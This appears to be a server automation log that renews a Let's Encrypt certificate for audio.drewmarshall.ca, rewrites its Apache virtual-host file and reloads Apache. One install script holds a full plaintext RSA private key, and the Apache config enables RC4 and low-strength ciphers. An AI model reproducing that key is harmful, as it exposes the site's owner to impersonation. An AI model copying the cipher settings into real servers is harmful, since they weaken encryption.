MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= e160e0a91b58fb9d249ad2b78dd6441c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-06 18:10:49: Establishing a connection
2026-02-06 18:10:49: Establishing a connection
2026-02-06 18:10:49: 

PUT: /tmp/pkp719285

#!/bin/bash
if [ -d "/var/www/drewmarshall_audio/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-06 18:10:49: 

chmod 755 /tmp/pkp719285; /tmp/pkp719285; rm /tmp/pkp719285

2026-02-06 18:10:49: 


1


2026-02-06 18:10:50: Establishing a connection
2026-02-06 18:10:50: 

PUT: /tmp/pkp791773

#!/bin/bash
mkdir -p "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cat > 1NIW06qQfDbSuUIm-J4SZfOxvxj7lJE-pe5hdb3DEok <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
1NIW06qQfDbSuUIm-J4SZfOxvxj7lJE-pe5hdb3DEok.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 1NIW06qQfDbSuUIm-J4SZfOxvxj7lJE-pe5hdb3DEok


2026-02-06 18:10:50: 

chmod 755 /tmp/pkp791773; /tmp/pkp791773; rm /tmp/pkp791773

2026-02-06 18:10:50: 




2026-02-06 18:10:57: Establishing a connection
2026-02-06 18:10:57: 

PUT: /tmp/pkp253931

#!/bin/bash
mkdir -p "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
rm 1NIW06qQfDbSuUIm-J4SZfOxvxj7lJE-pe5hdb3DEok


2026-02-06 18:10:57: 

chmod 755 /tmp/pkp253931; /tmp/pkp253931; rm /tmp/pkp253931

2026-02-06 18:10:57: 




2026-02-06 18:10:57: Establishing a connection
2026-02-06 18:10:57: 

PUT: /tmp/pkp589023

#!/bin/bash
temp_file=$(mktemp)
TARGET=33fbf8d7936a8c67fb764b1ea4759d7a.crt

cat > $temp_file <<'endmsg'
6d:44:be:20:00:ae:66:73:e8:4a:09:26:4a:94:95:40

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBvt/C4kd0nkoyyd5fFqXV3gfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjA2MTcxMjI2WhcNMjYwNTA3MTcxMjI1WjAgMR4wHAYDVQQD
ExVhdWRpby5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCaRVLckrL5tq0lstas/VrGS39o8QI8mY+EpiozbcT7oKxOnmLvkeh5
/RDW9Gz1jNbkLUHuhFyCxQITwKx36a1/FLxMiCo1G3O7QH/HDMbtOaxSfVwpHJ/e
jFjHqZT+BbWDYp19xQkR17OL0RlIywd9qi886DxTkfSv26ssSy5uJJSl1DbQaS3D
oNYy8XUJ20UmlThS+SKJbcUWFUL3vjGkcZgX3uaP93ExOED0Ku4BgqbUyQuqyuc3
C0nSiBxPEwi0KY6d7j2lGMe8BthhWb3y7W4OMB3VSdy5O1Bo0U+m43phyrhKM2ub
/qSawqtzWEQV6RQYlF6oZHyHuf5XZXFbAgMBAAGjggIuMIICKjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFKTLp2zMYnAA0bdmJbAA3mjyhj0eMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8uZHJld21h
cnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMzIuY3JsMIIBDQYKKwYBBAHWeQIEAgSB
/gSB+wD5AHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGcNCZh
hQAABAMARzBFAiBHKcmQIb5nQHm8I9nvcXgDmwzgHIzMpXgEhPO7aJv7GQIhAMZm
OS6p6PqnhkuECKuLQfeKoXh28Le17TDbbgJ/cmX9AH8AGoudaUpXmMiZoMqIvfSP
wLRWYMzDYA0fcfRp/8fRrKMAAAGcNCZiZAAIAAAFAEMHGaMEAwBIMEYCIQDM2YkW
7GSkW/dXb+FL36tV12HNkT27Emk+8fjfPGLBAwIhAK12+gjv2SY0TsnMrDYkbjVN
GiQ629Eh6d0sP3UXxyJbMA0GCSqGSIb3DQEBCwUAA4IBAQCZLSaWsgt7s+25Z1Ow
M+okgmdM2cg52zgys8QK4QLg8oHUlwXy8RsTX+BwyXHfx2OJht1W4y0xPQ/nwNPO
5oUkwic9EwlU+G+IV/124FhkKItWvt4Yqkmoq/m2E6JIeST8SA2KGvBeyJjvNdCO
LfwaGgr/MYZSn1ZSNKG35pgVoHXNzM1g7t66NNNAjqmEh6bF+vU2mEHJfvKQoMbh
E+DTu/wjThAF3ZaU/2WrvXdpLP+MzjdgcV1jaO6KaKkEdDXGQ31TIVXIWwj97U/E
QVGM4kfXufh1oUUVtzb0ypJVY0Gt1lQ++RWs1UO+4IekiiorejQrwnGpV2C44SkB
JtrQ
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCaRVLckrL5tq0l
stas/VrGS39o8QI8mY+EpiozbcT7oKxOnmLvkeh5/RDW9Gz1jNbkLUHuhFyCxQIT
wKx36a1/FLxMiCo1G3O7QH/HDMbtOaxSfVwpHJ/ejFjHqZT+BbWDYp19xQkR17OL
0RlIywd9qi886DxTkfSv26ssSy5uJJSl1DbQaS3DoNYy8XUJ20UmlThS+SKJbcUW
FUL3vjGkcZgX3uaP93ExOED0Ku4BgqbUyQuqyuc3C0nSiBxPEwi0KY6d7j2lGMe8
BthhWb3y7W4OMB3VSdy5O1Bo0U+m43phyrhKM2ub/qSawqtzWEQV6RQYlF6oZHyH
uf5XZXFbAgMBAAECggEAJxaom63p/l68eYBaZ6OcRAEuK8thSzSHik9GAxjtn+pC
rnrwS453Tq2B/k0ZbJA+hLs46PQNsq6zS4j2yj1h0gDRgzy/IQyvIsOBfNBueP4z
fQU5fEs98Lgz6Ic98q1EpCExEYSCu0whuKwHEYwr/jnIVVDstCoXyxVIRmVYQtzK
OMCR8k+/xWPGKBLrbmXYdV98V70WlfZjCoPO4IPuiWhf1Ujq83KeE684Q65F9mBk
9POecbP0PANU10XkC1g30BThAxw2pGz45/wLS3y2wAnOr0RHi2DghBYPLUtxP0na
Pp+MQbCEnPtVV5+vBDPP+uXaP18sO2EnSDD3WdaYGQKBgQDKy6bQwola+SBku+Wt
rWCm02XxCoCWBYI5Ho4+SslxhLfWVakpFdYxxuYJkoPVl+85MONq6x2qSdzxw0mS
LWa2HbSHczXE2QkEdhlQ99IUcg0ZijFztWXDgrbvbNEp/mZxjxHagrx/o/I1qDS/
35EbVig3D4y99lk+OJcT2timyQKBgQDCvpulsha0hLfHwvyltazPMS8sx03c81YN
WCc0tWw2dszBDAk6la2hdclZRr4USzsGREg93pqbp3db8WLy2kxMSwtC2DkWpyz2
4X1WlGk36vrhuvaQ6IgCWcoA9udPcu3/ukw6QHkFfbgFyqngQ2QPAAcVbPgQJhoI
ehFXJUUVAwKBgCfIxiQkVgAD6cf5WLi2z8RKqrAcCFfmIsMD7JHp6BUeHVauHW6S
+x9uzshH9xcbJHJK1gKut3Yl4XOIhVFpGMJXl4gPIRhKH8vBQ3wv8gXSziEZjFQP
3TP629qitXIQl5Zlo/IDPemohybhpd+Sg4wiXedXZJwLzTw4q+LYRzKJAoGBAILv
IrkJ/sgKP4I4sCM9/d0kRYKG0ewPUzkPnvSKUiJgR5Q34nCYODBJgEHdFWmRlzLE
cAnhA/RJaS/RIOUFLq1Q+1ZLCD8Z0VqACwROLlwhSeLBEIwnO2LROcbiOm0paak5
eYzk0jmF6FdEhmi5BqorK5gVNsesxm4SnFwKO+M/AoGATn9T063aSTTkaZ5FlH57
g93/dG/FJsMV0w6LcUTS+gmIEFUyRLH01GaRC+ve6BuSJ8JLMyw5AiH78YbbA2u+
LUoWTSZICBT0/FTb5rN1/S3e7Aa/MkprNm6vpXAL7I+gQFHMZoel6bcZFIiv1aS1
k6jJuGCfmoAkbvkL0nCAtt8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-06 18:10:57: 

chmod 755 /tmp/pkp589023; /tmp/pkp589023; rm /tmp/pkp589023

2026-02-06 18:10:57: 


dir=/etc/ssl/certs


2026-02-06 18:10:57: 

PUT: /tmp/pkp380219

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-06 18:10:57: 

chmod 755 /tmp/pkp380219; /tmp/pkp380219; rm /tmp/pkp380219

2026-02-06 18:10:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf 45

<VirtualHost *:80>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-06 18:10:57: 

PUT: /tmp/pkp135839

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_audio_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf= 1'
fi


2026-02-06 18:10:57: 

chmod 755 /tmp/pkp135839; /tmp/pkp135839; rm /tmp/pkp135839

2026-02-06 18:10:57: 




2026-02-06 18:10:57: 

PUT: /tmp/pkp400790

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-06 18:10:57: 

chmod 755 /tmp/pkp400790; /tmp/pkp400790; rm /tmp/pkp400790

2026-02-06 18:10:58: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-06 18:10:58: Establishing a connection
2026-02-06 18:10:58: 

PUT: /tmp/pkp906261

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-06 18:10:58: 

chmod 755 /tmp/pkp906261; /tmp/pkp906261; rm /tmp/pkp906261

2026-02-06 18:10:58: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
